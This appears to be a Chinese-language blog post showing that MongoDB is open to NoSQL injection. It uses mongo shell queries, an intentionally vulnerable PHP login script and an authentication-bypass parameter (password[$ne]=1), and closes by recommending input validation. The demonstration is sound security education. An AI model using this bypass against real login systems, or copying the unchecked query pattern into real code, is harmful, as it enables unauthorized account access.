前一陣子在拜讀
MongoDB: The Definitive Guide 這本書時,發現書中有一句很有趣的話:
MongoDB does not do any sort of code execution on inserts, so they are not vulnerable to injection attacks. Traditional injection attacks are impossible with MongoDB, and alternative injection-type attacks are easy to guard against in general, but inserts are particularly invulnerable.
簡單來說,就是使用 MongoDB 後,就算考試沒有 100 分,至少是不用擔心”傳統”的注入攻擊。我不知道”傳統”的定義何在,但是我知道幾乎沒有什麼 data store 是可以完全避免注入攻擊的。SQL如此,LDAP 如此,連 XML 也難逃厄運。到底是什麼理由可以讓 MongoDB 有這麼神奇的能力?通常我看到這種話都是直接嗤之以鼻,但是因為這本書的作者之一是 MongoDB 的核心開發者,而另外一個作者則是 MongoDB 驅動程式的開發者,我怎麼能夠輕忽他們的話呢?
經由一番搜尋後,我找到了 MongoDB 依舊會遭受注入攻擊的
證據。我們就用實際的例子來看吧:
首先,我們在測試的資料庫內新增兩筆使用者的資料
[root@mnode2 ~]# mongo
MongoDB shell version: 1.8.2
connecting to: test
myrepl:PRIMARY> use myapp
switched to db myapp
myrepl:PRIMARY> db.users.insert({"username":"admin", "password":"1234"});
myrepl:PRIMARY> db.users.insert({"username":"guest", "password":"5678"});
myrepl:PRIMARY> db.users.find()
{ "_id" : ObjectId("4fceb7e79ac77b943b49ccf0"), "username" : "admin", "password" : "1234" }
{ "_id" : ObjectId("4fceb7f09ac77b943b49ccf1"), "username" : "guest", "password" : "5678" }
這兩筆資料可以用來作模擬一般網站常見的登入功能,包含了基本的帳號與密碼。
當使用者登入時,我們會將使用者輸入的帳號與密碼當做搜尋條件,找出使用者擁有的帳號。這個動作在 MongoDB 下,就是如下的查詢方式:
myrepl:PRIMARY> db.users.find({"username":"admin", "password":"1234"});
{ "_id" : ObjectId("4fceb7e79ac77b943b49ccf0"), "username" : "admin", "password" : "1234" }
當資料庫傳回資料時,就表示已經通過身分驗證了。但是如果使用者輸入錯誤的密碼 (如12345),則不會傳回任何的資料,也就表示驗證失敗。 myrepl:PRIMARY> db.users.find({"username":"admin", "password":"12345"});
等等,真的是這樣嗎?我們來試試看下列的指令:
myrepl:PRIMARY> db.users.find({"username":"admin", "password":{"$ne":"1"}});
{ "_id" : ObjectId("4fceb7e79ac77b943b49ccf0"), "username" : "admin", "password" : "1234" }
是的,
我們將密碼改成 {"$ne":"1"} 這個陣列一樣可以查詢到使用者的資料。對很多系統來說,也就表示你已經通過身分驗證了。
在 mongo 的 shell 下如此,那麼對程式而言是否也有如此的可能性?我們用一個 php 程式當做範例。
<?php
$action = @$_GET['action'];
if ($action == 'login') {
try {
$conn = new Mongo('localhost');
$db = $conn->myapp;
$collection = $db->users;
$criteria = array(
'username' => $_GET['username'],
'password' => $_GET['password']
);
print_r($criteria);
$fields = array('username', 'password');
$cursor = $collection->find($criteria, $fields)->limit(1);
if ($cursor->count()==1) {
$obj = $cursor->getNext();
echo '成功登入<br />';
echo '帳號: ' . $obj['username'] . '<br/>';
echo '密碼: ' . $obj['password'] . '<br/>';
echo '<br/>';
} else {
echo '登入失敗<br />';
echo '帳號: ' . $_GET['username'] . '<br/>';
echo '密碼: ' . $_GET['password'] . '<br/>';
echo '<br/>';
}
$conn->close();
} catch (MongoConnectionException $e) {
die('Error connecting to MongoDB server');
} catch (MongoException $e) {
die('Error: ' . $e->getMessage());
}
}
?>
<form method="GET">
<input type='hidden' name='action' value='login'>
帳號: <input type='text' name='username'><br />
密碼: <input type='password' name='password'><br />
<input type=submit>
</form>
你可以乖乖地試著使用正確或錯誤的帳號密碼登入這隻程式,你也可以
使用 ?action=login&username=admin&password[$ne]=1 當做連結的參數。
是的,MongoDB 也會遭受注入攻擊!
解法是什麼?當然還是回到老手法,程式必須做好輸入的檢查(包含型別、內容數值、範圍等)。如果疏於此道,就算是 MongoDB 也無法讓你的系統刀槍不入外加考試 100 分。